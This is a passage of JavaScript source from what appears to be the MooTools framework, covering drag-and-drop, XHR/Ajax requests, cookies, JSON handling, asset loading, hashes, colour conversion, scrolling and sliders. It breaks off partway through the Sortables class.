  1898.         for (var a = 0, b = 1; 1; a += b, b /= 2) {
  1899.             if (p >= (7 - 4 * a) / 11) {
  1900.                 value = -Math.pow((11 - 6 * a - 11 * p) / 4, 2) + b * b;
  1901.                 break;
  1902.             }
  1903.         }
  1904.         return value;
  1905.     },
  1906.     Elastic: function(p, x) {
  1907.         return Math.pow(2, 10 * --p) * Math.cos(20 * p * Math.PI * (x[0] || 1) / 3);
  1908.     }
  1909. });
  1910. ['Quad', 'Cubic', 'Quart', 'Quint'].each(function(transition, i) {
  1911.     Fx.Transitions[transition] = new Fx.Transition(function(p) {
  1912.         return Math.pow(p, [i + 2]);
  1913.     });
  1914.     Fx.Transitions.compat(transition);
  1915. });
  1916. var Drag = {};
  1917. Drag.Base = new Class({
  1918.     options: {
  1919.         handle: false,
  1920.         unit: 'px',
  1921.         onStart: Class.empty,
  1922.         onBeforeStart: Class.empty,
  1923.         onComplete: Class.empty,
  1924.         onSnap: Class.empty,
  1925.         onDrag: Class.empty,
  1926.         limit: false,
  1927.         modifiers: {
  1928.             x: 'left',
  1929.             y: 'top'
  1930.         },
  1931.         grid: false,
  1932.         snap: 6
  1933.     },
  1934.     initialize: function(el, options) {
  1935.         this.setOptions(options);
  1936.         this.element = $(el);
  1937.         this.handle = $(this.options.handle) || this.element;
  1938.         this.mouse = {
  1939.             'now': {},
  1940.             'pos': {}
  1941.         };
  1942.         this.value = {
  1943.             'start': {},
  1944.             'now': {}
  1945.         };
  1946.         this.bound = {
  1947.             'start': this.start.bindWithEvent(this),
  1948.             'check': this.check.bindWithEvent(this),
  1949.             'drag': this.drag.bindWithEvent(this),
  1950.             'stop': this.stop.bind(this)
  1951.         };
  1952.         this.attach();
  1953.         if (this.options.initialize) this.options.initialize.call(this);
  1954.     },
  1955.     attach: function() {
  1956.         this.handle.addEvent('mousedown', this.bound.start);
  1957.         return this;
  1958.     },
  1959.     detach: function() {
  1960.         this.handle.removeEvent('mousedown', this.bound.start);
  1961.         return this;
  1962.     },
  1963.     start: function(event) {
  1964.         this.fireEvent('onBeforeStart', this.element);
  1965.         this.mouse.start = event.page;
  1966.         var limit = this.options.limit;
  1967.         this.limit = {
  1968.             'x': [],
  1969.             'y': []
  1970.         };
  1971.         for (var z in this.options.modifiers) {
  1972.             if (!this.options.modifiers[z]) continue;
  1973.             this.value.now[z] = this.element.getStyle(this.options.modifiers[z]).toInt();
  1974.             this.mouse.pos[z] = event.page[z] - this.value.now[z];
  1975.             if (limit && limit[z]) {
  1976.                 for (var i = 0; i < 2; i++) {
  1977.                     if ($chk(limit[z][i])) this.limit[z][i] = ($type(limit[z][i]) == 'function') ? limit[z][i]() : limit[z][i];
  1978.                 }
  1979.             }
  1980.         }
  1981.         if ($type(this.options.grid) == 'number') this.options.grid = {
  1982.             'x': this.options.grid,
  1983.             'y': this.options.grid
  1984.         };
  1985.         document.addListener('mousemove', this.bound.check);
  1986.         document.addListener('mouseup', this.bound.stop);
  1987.         this.fireEvent('onStart', this.element);
  1988.         event.stop();
  1989.     },
  1990.     check: function(event) {
  1991.         var distance = Math.round(Math.sqrt(Math.pow(event.page.x - this.mouse.start.x, 2) + Math.pow(event.page.y - this.mouse.start.y, 2)));
  1992.         if (distance > this.options.snap) {
  1993.             document.removeListener('mousemove', this.bound.check);
  1994.             document.addListener('mousemove', this.bound.drag);
  1995.             this.drag(event);
  1996.             this.fireEvent('onSnap', this.element);
  1997.         }
  1998.         event.stop();
  1999.     },
  2000.     drag: function(event) {
  2001.         this.out = false;
  2002.         this.mouse.now = event.page;
  2003.         for (var z in this.options.modifiers) {
  2004.             if (!this.options.modifiers[z]) continue;
  2005.             this.value.now[z] = this.mouse.now[z] - this.mouse.pos[z];
  2006.             if (this.limit[z]) {
  2007.                 if ($chk(this.limit[z][1]) && (this.value.now[z] > this.limit[z][1])) {
  2008.                     this.value.now[z] = this.limit[z][1];
  2009.                     this.out = true;
  2010.                 } else if ($chk(this.limit[z][0]) && (this.value.now[z] < this.limit[z][0])) {
  2011.                     this.value.now[z] = this.limit[z][0];
  2012.                     this.out = true;
  2013.                 }
  2014.             }
  2015.             if (this.options.grid[z]) this.value.now[z] -= (this.value.now[z] % this.options.grid[z]);
  2016.             this.element.setStyle(this.options.modifiers[z], this.value.now[z] + this.options.unit);
  2017.         }
  2018.         this.fireEvent('onDrag', this.element);
  2019.         event.stop();
  2020.     },
  2021.     stop: function() {
  2022.         document.removeListener('mousemove', this.bound.check);
  2023.         document.removeListener('mousemove', this.bound.drag);
  2024.         document.removeListener('mouseup', this.bound.stop);
  2025.         this.fireEvent('onComplete', this.element);
  2026.     }
  2027. });
  2028. Drag.Base.implement(new Events, new Options);
  2029. Element.extend({
  2030.     makeResizable: function(options) {
  2031.         return new Drag.Base(this, $merge({
  2032.             modifiers: {
  2033.                 x: 'width',
  2034.                 y: 'height'
  2035.             }
  2036.         }, options));
  2037.     }
  2038. });
  2039. Drag.Move = Drag.Base.extend({
  2040.     options: {
  2041.         droppables: [],
  2042.         container: false,
  2043.         overflown: []
  2044.     },
  2045.     initialize: function(el, options) {
  2046.         this.setOptions(options);
  2047.         this.element = $(el);
  2048.         this.droppables = $(this.options.droppables);
  2049.         this.container = $(this.options.container);
  2050.         this.position = {
  2051.             'element': this.element.getStyle('position'),
  2052.             'container': false
  2053.         };
  2054.         if (this.container) this.position.container = this.container.getStyle('position');
  2055.         if (!['relative', 'absolute', 'fixed'].contains(this.position.element)) this.position.element = 'absolute';
  2056.         var top = this.element.getStyle('top').toInt();
  2057.         var left = this.element.getStyle('left').toInt();
  2058.         if (this.position.element == 'absolute' && !['relative', 'absolute', 'fixed'].contains(this.position.container)) {
  2059.             top = $chk(top) ? top : this.element.getTop(this.options.overflown);
  2060.             left = $chk(left) ? left : this.element.getLeft(this.options.overflown);
  2061.         } else {
  2062.             top = $chk(top) ? top : 0;
  2063.             left = $chk(left) ? left : 0;
  2064.         }
  2065.         this.element.setStyles({
  2066.             'top': top,
  2067.             'left': left,
  2068.             'position': this.position.element
  2069.         });
  2070.         this.parent(this.element);
  2071.     },
  2072.     start: function(event) {
  2073.         this.overed = null;
  2074.         if (this.container) {
  2075.             var cont = this.container.getCoordinates();
  2076.             var el = this.element.getCoordinates();
  2077.             if (this.position.element == 'absolute' && !['relative', 'absolute', 'fixed'].contains(this.position.container)) {
  2078.                 this.options.limit = {
  2079.                     'x': [cont.left, cont.right - el.width],
  2080.                     'y': [cont.top, cont.bottom - el.height]
  2081.                 };
  2082.             } else {
  2083.                 this.options.limit = {
  2084.                     'y': [0, cont.height - el.height],
  2085.                     'x': [0, cont.width - el.width]
  2086.                 };
  2087.             }
  2088.         }
  2089.         this.parent(event);
  2090.     },
  2091.     drag: function(event) {
  2092.         this.parent(event);
  2093.         var overed = this.out ? false : this.droppables.filter(this.checkAgainst, this).getLast();
  2094.         if (this.overed != overed) {
  2095.             if (this.overed) this.overed.fireEvent('leave', [this.element, this]);
  2096.             this.overed = overed ? overed.fireEvent('over', [this.element, this]) : null;
  2097.         }
  2098.         return this;
  2099.     },
  2100.     checkAgainst: function(el) {
  2101.         el = el.getCoordinates(this.options.overflown);
  2102.         var now = this.mouse.now;
  2103.         return (now.x > el.left && now.x < el.right && now.y < el.bottom && now.y > el.top);
  2104.     },
  2105.     stop: function() {
  2106.         if (this.overed && !this.out) this.overed.fireEvent('drop', [this.element, this]);
  2107.         else this.element.fireEvent('emptydrop', this);
  2108.         this.parent();
  2109.         return this;
  2110.     }
  2111. });
  2112. Element.extend({
  2113.     makeDraggable: function(options) {
  2114.         return new Drag.Move(this, options);
  2115.     }
  2116. });
  2117. var XHR = new Class({
  2118.     options: {
  2119.         method: 'post',
  2120.         async: true,
  2121.         onRequest: Class.empty,
  2122.         onSuccess: Class.empty,
  2123.         onFailure: Class.empty,
  2124.         urlEncoded: true,
  2125.         encoding: 'utf-8',
  2126.         autoCancel: false,
  2127.         headers: {}
  2128.     },
  2129.     setTransport: function() {
  2130.         this.transport = (window.XMLHttpRequest) ? new XMLHttpRequest() : (window.ie ? new ActiveXObject('Microsoft.XMLHTTP') : false);
  2131.         return this;
  2132.     },
  2133.     initialize: function(options) {
  2134.         this.setTransport().setOptions(options);
  2135.         this.options.isSuccess = this.options.isSuccess || this.isSuccess;
  2136.         this.headers = {};
  2137.         if (this.options.urlEncoded && this.options.method == 'post') {
  2138.             var encoding = (this.options.encoding) ? '; charset=' + this.options.encoding : '';
  2139.             this.setHeader('Content-type', 'application/x-www-form-urlencoded' + encoding);
  2140.         }
  2141.         if (this.options.initialize) this.options.initialize.call(this);
  2142.     },
  2143.     onStateChange: function() {
  2144.         if (this.transport.readyState != 4 || !this.running) return;
  2145.         this.running = false;
  2146.         var status = 0;
  2147.         try {
  2148.             status = this.transport.status;
  2149.         } catch (e) {};
  2150.         if (this.options.isSuccess.call(this, status)) this.onSuccess();
  2151.         else this.onFailure();
  2152.         this.transport.onreadystatechange = Class.empty;
  2153.     },
  2154.     isSuccess: function(status) {
  2155.         return ((status >= 200) && (status < 300));
  2156.     },
  2157.     onSuccess: function() {
  2158.         this.response = {
  2159.             'text': this.transport.responseText,
  2160.             'xml': this.transport.responseXML
  2161.         };
  2162.         this.fireEvent('onSuccess', [this.response.text, this.response.xml]);
  2163.         this.callChain();
  2164.     },
  2165.     onFailure: function() {
  2166.         this.fireEvent('onFailure', this.transport);
  2167.     },
  2168.     setHeader: function(name, value) {
  2169.         this.headers[name] = value;
  2170.         return this;
  2171.     },
  2172.     send: function(url, data) {
  2173.         if (this.options.autoCancel) this.cancel();
  2174.         else if (this.running) return this;
  2175.         this.running = true;
  2176.         if (data && this.options.method == 'get') {
  2177.             url = url + (url.contains('?') ? '&' : '?') + data;
  2178.             data = null;
  2179.         }
  2180.         this.transport.open(this.options.method.toUpperCase(), url, this.options.async);
  2181.         this.transport.onreadystatechange = this.onStateChange.bind(this);
  2182.         if ((this.options.method == 'post') && this.transport.overrideMimeType) this.setHeader('Connection', 'close');
  2183.         $extend(this.headers, this.options.headers);
  2184.         for (var type in this.headers) try {
  2185.             this.transport.setRequestHeader(type, this.headers[type]);
  2186.         } catch (e) {};
  2187.         this.fireEvent('onRequest');
  2188.         this.transport.send($pick(data, null));
  2189.         return this;
  2190.     },
  2191.     cancel: function() {
  2192.         if (!this.running) return this;
  2193.         this.running = false;
  2194.         this.transport.abort();
  2195.         this.transport.onreadystatechange = Class.empty;
  2196.         this.setTransport();
  2197.         this.fireEvent('onCancel');
  2198.         return this;
  2199.     }
  2200. });
  2201. XHR.implement(new Chain, new Events, new Options);
  2202. var Ajax = XHR.extend({
  2203.     options: {
  2204.         data: null,
  2205.         update: null,
  2206.         onComplete: Class.empty,
  2207.         evalScripts: false,
  2208.         evalResponse: false
  2209.     },
  2210.     initialize: function(url, options) {
  2211.         this.addEvent('onSuccess', this.onComplete);
  2212.         this.setOptions(options);
  2213.         this.options.data = this.options.data || this.options.postBody;
  2214.         if (!['post', 'get'].contains(this.options.method)) {
  2215.             this._method = '_method=' + this.options.method;
  2216.             this.options.method = 'post';
  2217.         }
  2218.         this.parent();
  2219.         this.setHeader('X-Requested-With', 'XMLHttpRequest');
  2220.         this.setHeader('Accept', 'text/javascript, text/html, application/xml, text/xml, */*');
  2221.         this.url = url;
  2222.     },
  2223.     onComplete: function() {
  2224.         if (this.options.update) $(this.options.update).empty().setHTML(this.response.text);
  2225.         if (this.options.evalScripts || this.options.evalResponse) this.evalScripts();
  2226.         this.fireEvent('onComplete', [this.response.text, this.response.xml], 20);
  2227.     },
  2228.     request: function(data) {
  2229.         data = data || this.options.data;
  2230.         switch ($type(data)) {
  2231.         case 'element':
  2232.             data = $(data).toQueryString();
  2233.             break;
  2234.         case 'object':
  2235.             data = Object.toQueryString(data);
  2236.         }
  2237.         if (this._method) data = (data) ? [this._method, data].join('&') : this._method;
  2238.         return this.send(this.url, data);
  2239.     },
  2240.     evalScripts: function() {
  2241.         var script, scripts;
  2242.         if (this.options.evalResponse || (/(ecma|java)script/).test(this.getHeader('Content-type'))) scripts = this.response.text;
  2243.         else {
  2244.             scripts = [];
  2245.             var regexp = /<script[^>]*>([\s\S]*?)<\/script>/gi;
  2246.             while ((script = regexp.exec(this.response.text))) scripts.push(script[1]);
  2247.             scripts = scripts.join('\n');
  2248.         }
  2249.         if (scripts)(window.execScript) ? window.execScript(scripts) : window.setTimeout(scripts, 0);
  2250.     },
  2251.     getHeader: function(name) {
  2252.         try {
  2253.             return this.transport.getResponseHeader(name);
  2254.         } catch (e) {};
  2255.         return null;
  2256.     }
  2257. });
  2258. Object.toQueryString = function(source) {
  2259.     var queryString = [];
  2260.     for (var property in source) queryString.push(encodeURIComponent(property) + '=' + encodeURIComponent(source[property]));
  2261.     return queryString.join('&');
  2262. };
  2263. Element.extend({
  2264.     send: function(options) {
  2265.         return new Ajax(this.getProperty('action'), $merge({
  2266.             data: this.toQueryString()
  2267.         }, options, {
  2268.             method: 'post'
  2269.         })).request();
  2270.     }
  2271. });
  2272. var Cookie = new Abstract({
  2273.     options: {
  2274.         domain: false,
  2275.         path: false,
  2276.         duration: false,
  2277.         secure: false
  2278.     },
  2279.     set: function(key, value, options) {
  2280.         options = $merge(this.options, options);
  2281.         value = encodeURIComponent(value);
  2282.         if (options.domain) value += '; domain=' + options.domain;
  2283.         if (options.path) value += '; path=' + options.path;
  2284.         if (options.duration) {
  2285.             var date = new Date();
  2286.             date.setTime(date.getTime() + options.duration * 24 * 60 * 60 * 1000);
  2287.             value += '; expires=' + date.toGMTString();
  2288.         }
  2289.         if (options.secure) value += '; secure';
  2290.         document.cookie = key + '=' + value;
  2291.         return $extend(options, {
  2292.             'key': key,
  2293.             'value': value
  2294.         });
  2295.     },
  2296.     get: function(key) {
  2297.         var value = document.cookie.match('(?:^|;)\\s*' + key.escapeRegExp() + '=([^;]*)');
  2298.         return value ? decodeURIComponent(value[1]) : false;
  2299.     },
  2300.     remove: function(cookie, options) {
  2301.         if ($type(cookie) == 'object') this.set(cookie.key, '', $merge(cookie, {
  2302.             duration: -1
  2303.         }));
  2304.         else this.set(cookie, '', $merge(options, {
  2305.             duration: -1
  2306.         }));
  2307.     }
  2308. });
  2309. var Json = {
  2310.     toString: function(obj) {
  2311.         switch ($type(obj)) {
  2312.         case 'string':
  2313.             return '"' + obj.replace(/(["\\])/g, '\\$1') + '"';
  2314.         case 'array':
  2315.             return '[' + obj.map(Json.toString).join(',') + ']';
  2316.         case 'object':
  2317.             var string = [];
  2318.             for (var property in obj) string.push(Json.toString(property) + ':' + Json.toString(obj[property]));
  2319.             return '{' + string.join(',') + '}';
  2320.         case 'number':
  2321.             if (isFinite(obj)) break;
  2322.         case false:
  2323.             return 'null';
  2324.         }
  2325.         return String(obj);
  2326.     },
  2327.     evaluate: function(str, secure) {
  2328.         return (($type(str) != 'string') || (secure && !str.test(/^("(\\.|[^"\\\n\r])*?"|[,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t])+?$/))) ? null : eval('(' + str + ')');
  2329.     }
  2330. };
  2331. Json.Remote = XHR.extend({
  2332.     initialize: function(url, options) {
  2333.         this.url = url;
  2334.         this.addEvent('onSuccess', this.onComplete);
  2335.         this.parent(options);
  2336.         this.setHeader('X-Request', 'JSON');
  2337.     },
  2338.     send: function(obj) {
  2339.         return this.parent(this.url, 'json=' + Json.toString(obj));
  2340.     },
  2341.     onComplete: function() {
  2342.         this.fireEvent('onComplete', [Json.evaluate(this.response.text, this.options.secure)]);
  2343.     }
  2344. });
  2345. var Asset = new Abstract({
  2346.     javascript: function(source, properties) {
  2347.         properties = $merge({
  2348.             'onload': Class.empty
  2349.         }, properties);
  2350.         var script = new Element('script', {
  2351.             'src': source
  2352.         }).addEvents({
  2353.             'load': properties.onload,
  2354.             'readystatechange': function() {
  2355.                 if (this.readyState == 'complete') this.fireEvent('load');
  2356.             }
  2357.         });
  2358.         delete properties.onload;
  2359.         return script.setProperties(properties).inject(document.head);
  2360.     },
  2361.     css: function(source, properties) {
  2362.         return new Element('link', $merge({
  2363.             'rel': 'stylesheet',
  2364.             'media': 'screen',
  2365.             'type': 'text/css',
  2366.             'href': source
  2367.         }, properties)).inject(document.head);
  2368.     },
  2369.     image: function(source, properties) {
  2370.         properties = $merge({
  2371.             'onload': Class.empty,
  2372.             'onabort': Class.empty,
  2373.             'onerror': Class.empty
  2374.         }, properties);
  2375.         var image = new Image();
  2376.         image.src = source;
  2377.         var element = new Element('img', {
  2378.             'src': source
  2379.         });
  2380.         ['load', 'abort', 'error'].each(function(type) {
  2381.             var event = properties['on' + type];
  2382.             delete properties['on' + type];
  2383.             element.addEvent(type, function() {
  2384.                 this.removeEvent(type, arguments.callee);
  2385.                 event.call(this);
  2386.             });
  2387.         });
  2388.         if (image.width && image.height) element.fireEvent('load', element, 1);
  2389.         return element.setProperties(properties);
  2390.     },
  2391.     images: function(sources, options) {
  2392.         options = $merge({
  2393.             onComplete: Class.empty,
  2394.             onProgress: Class.empty
  2395.         }, options);
  2396.         if (!sources.push) sources = [sources];
  2397.         var images = [];
  2398.         var counter = 0;
  2399.         sources.each(function(source) {
  2400.             var img = new Asset.image(source, {
  2401.                 'onload': function() {
  2402.                     options.onProgress.call(this, counter);
  2403.                     counter++;
  2404.                     if (counter == sources.length) options.onComplete();
  2405.                 }
  2406.             });
  2407.             images.push(img);
  2408.         });
  2409.         return new Elements(images);
  2410.     }
  2411. });
  2412. var Hash = new Class({
  2413.     length: 0,
  2414.     initialize: function(object) {
  2415.         this.obj = object || {};
  2416.         this.setLength();
  2417.     },
  2418.     get: function(key) {
  2419.         return (this.hasKey(key)) ? this.obj[key] : null;
  2420.     },
  2421.     hasKey: function(key) {
  2422.         return (key in this.obj);
  2423.     },
  2424.     set: function(key, value) {
  2425.         if (!this.hasKey(key)) this.length++;
  2426.         this.obj[key] = value;
  2427.         return this;
  2428.     },
  2429.     setLength: function() {
  2430.         this.length = 0;
  2431.         for (var p in this.obj) this.length++;
  2432.         return this;
  2433.     },
  2434.     remove: function(key) {
  2435.         if (this.hasKey(key)) {
  2436.             delete this.obj[key];
  2437.             this.length--;
  2438.         }
  2439.         return this;
  2440.     },
  2441.     each: function(fn, bind) {
  2442.         $each(this.obj, fn, bind);
  2443.     },
  2444.     extend: function(obj) {
  2445.         $extend(this.obj, obj);
  2446.         return this.setLength();
  2447.     },
  2448.     merge: function() {
  2449.         this.obj = $merge.apply(null, [this.obj].extend(arguments));
  2450.         return this.setLength();
  2451.     },
  2452.     empty: function() {
  2453.         this.obj = {};
  2454.         this.length = 0;
  2455.         return this;
  2456.     },
  2457.     keys: function() {
  2458.         var keys = [];
  2459.         for (var property in this.obj) keys.push(property);
  2460.         return keys;
  2461.     },
  2462.     values: function() {
  2463.         var values = [];
  2464.         for (var property in this.obj) values.push(this.obj[property]);
  2465.         return values;
  2466.     }
  2467. });

  2468. function $H(obj) {
  2469.     return new Hash(obj);
  2470. };
  2471. Hash.Cookie = Hash.extend({
  2472.     initialize: function(name, options) {
  2473.         this.name = name;
  2474.         this.options = $extend({
  2475.             'autoSave': true
  2476.         }, options || {});
  2477.         this.load();
  2478.     },
  2479.     save: function() {
  2480.         if (this.length == 0) {
  2481.             Cookie.remove(this.name, this.options);
  2482.             return true;
  2483.         }
  2484.         var str = Json.toString(this.obj);
  2485.         if (str.length > 4096) return false;
  2486.         Cookie.set(this.name, str, this.options);
  2487.         return true;
  2488.     },
  2489.     load: function() {
  2490.         this.obj = Json.evaluate(Cookie.get(this.name), true) || {};
  2491.         this.setLength();
  2492.     }
  2493. });
  2494. Hash.Cookie.Methods = {};
  2495. ['extend', 'set', 'merge', 'empty', 'remove'].each(function(method) {
  2496.     Hash.Cookie.Methods[method] = function() {
  2497.         Hash.prototype[method].apply(this, arguments);
  2498.         if (this.options.autoSave) this.save();
  2499.         return this;
  2500.     };
  2501. });
  2502. Hash.Cookie.implement(Hash.Cookie.Methods);
  2503. var Color = new Class({
  2504.     initialize: function(color, type) {
  2505.         type = type || (color.push ? 'rgb' : 'hex');
  2506.         var rgb, hsb;
  2507.         switch (type) {
  2508.         case 'rgb':
  2509.             rgb = color;
  2510.             hsb = rgb.rgbToHsb();
  2511.             break;
  2512.         case 'hsb':
  2513.             rgb = color.hsbToRgb();
  2514.             hsb = color;
  2515.             break;
  2516.         default:
  2517.             rgb = color.hexToRgb(true);
  2518.             hsb = rgb.rgbToHsb();
  2519.         }
  2520.         rgb.hsb = hsb;
  2521.         rgb.hex = rgb.rgbToHex();
  2522.         return $extend(rgb, Color.prototype);
  2523.     },
  2524.     mix: function() {
  2525.         var colors = $A(arguments);
  2526.         var alpha = ($type(colors[colors.length - 1]) == 'number') ? colors.pop() : 50;
  2527.         var rgb = this.copy();
  2528.         colors.each(function(color) {
  2529.             color = new Color(color);
  2530.             for (var i = 0; i < 3; i++) rgb[i] = Math.round((rgb[i] / 100 * (100 - alpha)) + (color[i] / 100 * alpha));
  2531.         });
  2532.         return new Color(rgb, 'rgb');
  2533.     },
  2534.     invert: function() {
  2535.         return new Color(this.map(function(value) {
  2536.             return 255 - value;
  2537.         }));
  2538.     },
  2539.     setHue: function(value) {
  2540.         return new Color([value, this.hsb[1], this.hsb[2]], 'hsb');
  2541.     },
  2542.     setSaturation: function(percent) {
  2543.         return new Color([this.hsb[0], percent, this.hsb[2]], 'hsb');
  2544.     },
  2545.     setBrightness: function(percent) {
  2546.         return new Color([this.hsb[0], this.hsb[1], percent], 'hsb');
  2547.     }
  2548. });

  2549. function $RGB(r, g, b) {
  2550.     return new Color([r, g, b], 'rgb');
  2551. };

  2552. function $HSB(h, s, b) {
  2553.     return new Color([h, s, b], 'hsb');
  2554. };
  2555. Array.extend({
  2556.     rgbToHsb: function() {
  2557.         var red = this[0],
  2558.             green = this[1],
  2559.             blue = this[2];
  2560.         var hue, saturation, brightness;
  2561.         var max = Math.max(red, green, blue),
  2562.             min = Math.min(red, green, blue);
  2563.         var delta = max - min;
  2564.         brightness = max / 255;
  2565.         saturation = (max != 0) ? delta / max : 0;
  2566.         if (saturation == 0) {
  2567.             hue = 0;
  2568.         } else {
  2569.             var rr = (max - red) / delta;
  2570.             var gr = (max - green) / delta;
  2571.             var br = (max - blue) / delta;
  2572.             if (red == max) hue = br - gr;
  2573.             else if (green == max) hue = 2 + rr - br;
  2574.             else hue = 4 + gr - rr;
  2575.             hue /= 6;
  2576.             if (hue < 0) hue++;
  2577.         }
  2578.         return [Math.round(hue * 360), Math.round(saturation * 100), Math.round(brightness * 100)];
  2579.     },
  2580.     hsbToRgb: function() {
  2581.         var br = Math.round(this[2] / 100 * 255);
  2582.         if (this[1] == 0) {
  2583.             return [br, br, br];
  2584.         } else {
  2585.             var hue = this[0] % 360;
  2586.             var f = hue % 60;
  2587.             var p = Math.round((this[2] * (100 - this[1])) / 10000 * 255);
  2588.             var q = Math.round((this[2] * (6000 - this[1] * f)) / 600000 * 255);
  2589.             var t = Math.round((this[2] * (6000 - this[1] * (60 - f))) / 600000 * 255);
  2590.             switch (Math.floor(hue / 60)) {
  2591.             case 0:
  2592.                 return [br, t, p];
  2593.             case 1:
  2594.                 return [q, br, p];
  2595.             case 2:
  2596.                 return [p, br, t];
  2597.             case 3:
  2598.                 return [p, q, br];
  2599.             case 4:
  2600.                 return [t, p, br];
  2601.             case 5:
  2602.                 return [br, p, q];
  2603.             }
  2604.         }
  2605.         return false;
  2606.     }
  2607. });
  2608. var Scroller = new Class({
  2609.     options: {
  2610.         area: 20,
  2611.         velocity: 1,
  2612.         onChange: function(x, y) {
  2613.             this.element.scrollTo(x, y);
  2614.         }
  2615.     },
  2616.     initialize: function(element, options) {
  2617.         this.setOptions(options);
  2618.         this.element = $(element);
  2619.         this.mousemover = ([window, document].contains(element)) ? $(document.body) : this.element;
  2620.     },
  2621.     start: function() {
  2622.         this.coord = this.getCoords.bindWithEvent(this);
  2623.         this.mousemover.addListener('mousemove', this.coord);
  2624.     },
  2625.     stop: function() {
  2626.         this.mousemover.removeListener('mousemove', this.coord);
  2627.         this.timer = $clear(this.timer);
  2628.     },
  2629.     getCoords: function(event) {
  2630.         this.page = (this.element == window) ? event.client : event.page;
  2631.         if (!this.timer) this.timer = this.scroll.periodical(50, this);
  2632.     },
  2633.     scroll: function() {
  2634.         var el = this.element.getSize();
  2635.         var pos = this.element.getPosition();
  2636.         var change = {
  2637.             'x': 0,
  2638.             'y': 0
  2639.         };
  2640.         for (var z in this.page) {
  2641.             if (this.page[z] < (this.options.area + pos[z]) && el.scroll[z] != 0) change[z] = (this.page[z] - this.options.area - pos[z]) * this.options.velocity;
  2642.             else if (this.page[z] + this.options.area > (el.size[z] + pos[z]) && el.scroll[z] + el.size[z] != el.scrollSize[z]) change[z] = (this.page[z] - el.size[z] + this.options.area - pos[z]) * this.options.velocity;
  2643.         }
  2644.         if (change.y || change.x) this.fireEvent('onChange', [el.scroll.x + change.x, el.scroll.y + change.y]);
  2645.     }
  2646. });
  2647. Scroller.implement(new Events, new Options);
  2648. var Slider = new Class({
  2649.     options: {
  2650.         onChange: Class.empty,
  2651.         onComplete: Class.empty,
  2652.         onTick: function(pos) {
  2653.             this.knob.setStyle(this.p, pos);
  2654.         },
  2655.         mode: 'horizontal',
  2656.         steps: 100,
  2657.         offset: 0
  2658.     },
  2659.     initialize: function(el, knob, options) {
  2660.         this.element = $(el);
  2661.         this.knob = $(knob);
  2662.         this.setOptions(options);
  2663.         this.previousChange = -1;
  2664.         this.previousEnd = -1;
  2665.         this.step = -1;
  2666.         this.element.addEvent('mousedown', this.clickedElement.bindWithEvent(this));
  2667.         var mod, offset;
  2668.         switch (this.options.mode) {
  2669.         case 'horizontal':
  2670.             this.z = 'x';
  2671.             this.p = 'left';
  2672.             mod = {
  2673.                 'x': 'left',
  2674.                 'y': false
  2675.             };
  2676.             offset = 'offsetWidth';
  2677.             break;
  2678.         case 'vertical':
  2679.             this.z = 'y';
  2680.             this.p = 'top';
  2681.             mod = {
  2682.                 'x': false,
  2683.                 'y': 'top'
  2684.             };
  2685.             offset = 'offsetHeight';
  2686.         }
  2687.         this.max = this.element[offset] - this.knob[offset] + (this.options.offset * 2);
  2688.         this.half = this.knob[offset] / 2;
  2689.         this.getPos = this.element['get' + this.p.capitalize()].bind(this.element);
  2690.         this.knob.setStyle('position', 'relative').setStyle(this.p, -this.options.offset);
  2691.         var lim = {};
  2692.         lim[this.z] = [-this.options.offset, this.max - this.options.offset];
  2693.         this.drag = new Drag.Base(this.knob, {
  2694.             limit: lim,
  2695.             modifiers: mod,
  2696.             snap: 0,
  2697.             onStart: function() {
  2698.                 this.draggedKnob();
  2699.             }.bind(this),
  2700.             onDrag: function() {
  2701.                 this.draggedKnob();
  2702.             }.bind(this),
  2703.             onComplete: function() {
  2704.                 this.draggedKnob();
  2705.                 this.end();
  2706.             }.bind(this)
  2707.         });
  2708.         if (this.options.initialize) this.options.initialize.call(this);
  2709.     },
  2710.     set: function(step) {
  2711.         this.step = step.limit(0, this.options.steps);
  2712.         this.checkStep();
  2713.         this.end();
  2714.         this.fireEvent('onTick', this.toPosition(this.step));
  2715.         return this;
  2716.     },
  2717.     clickedElement: function(event) {
  2718.         var position = event.page[this.z] - this.getPos() - this.half;
  2719.         position = position.limit(-this.options.offset, this.max - this.options.offset);
  2720.         this.step = this.toStep(position);
  2721.         this.checkStep();
  2722.         this.end();
  2723.         this.fireEvent('onTick', position);
  2724.     },
  2725.     draggedKnob: function() {
  2726.         this.step = this.toStep(this.drag.value.now[this.z]);
  2727.         this.checkStep();
  2728.     },
  2729.     checkStep: function() {
  2730.         if (this.previousChange != this.step) {
  2731.             this.previousChange = this.step;
  2732.             this.fireEvent('onChange', this.step);
  2733.         }
  2734.     },
  2735.     end: function() {
  2736.         if (this.previousEnd !== this.step) {
  2737.             this.previousEnd = this.step;
  2738.             this.fireEvent('onComplete', this.step + '');
  2739.         }
  2740.     },
  2741.     toStep: function(position) {
  2742.         return Math.round((position + this.options.offset) / this.max * this.options.steps);
  2743.     },
  2744.     toPosition: function(step) {
  2745.         return this.max * step / this.options.steps;
  2746.     }
  2747. });
  2748. Slider.implement(new Events);
  2749. Slider.implement(new Options);
  2750. var SmoothScroll = Fx.Scroll.extend({
  2751.     initialize: function(options) {
  2752.         this.parent(window, options);
  2753.         this.links = (this.options.links) ? $(this.options.links) : $(document.links);
  2754.         var location = window.location.href.match(/^[^#]*/)[0] + '#';
  2755.         this.links.each(function(link) {
  2756.             if (link.href.indexOf(location) != 0) return;
  2757.             var anchor = link.href.substr(location.length);
  2758.             if (anchor && $(anchor)) this.useLink(link, anchor);
  2759.         }, this);
  2760.         if (!window.webkit419) this.addEvent('onComplete', function() {
  2761.             window.location.hash = this.anchor;
  2762.         });
  2763.     },
  2764.     useLink: function(link, anchor) {
  2765.         link.addEvent('click', function(event) {
  2766.             this.anchor = anchor;
  2767.             this.toElement(anchor);
  2768.             event.stop();
  2769.         }.bindWithEvent(this));
  2770.     }
  2771. });
  2772. var Sortables = new Class({
  2773.     options: {
  2774.         handles: false,
  2775.         onStart: Class.empty,
  2776.         onComplete: Class.empty,
  2777.         ghost: true,
  2778.         snap: 3,
  2779.         onDragStart: function(element, ghost) {
  2780.             ghost.setStyle('opacity', 0.7);
  2781.             element.setStyle('opacity', 0.7);
  2782.         },
  2783.         onDragComplete: function(element, ghost) {
  2784.             element.setStyle('opacity', 1);
  2785.             ghost.remove();
  2786.             this.trash.remove();
  2787.         }
  2788.     },
  2789.     initialize: function(list, options) {
  2790.         this.setOptions(options);
  2791.         this.list = $(list);
  2792.         this.elements = this.list.getChildren();
  2793.         this.handles = (this.options.handles) ? $(this.options.handles) : this.elements;
  2794.         this.bound = {
  2795.             'start': [],
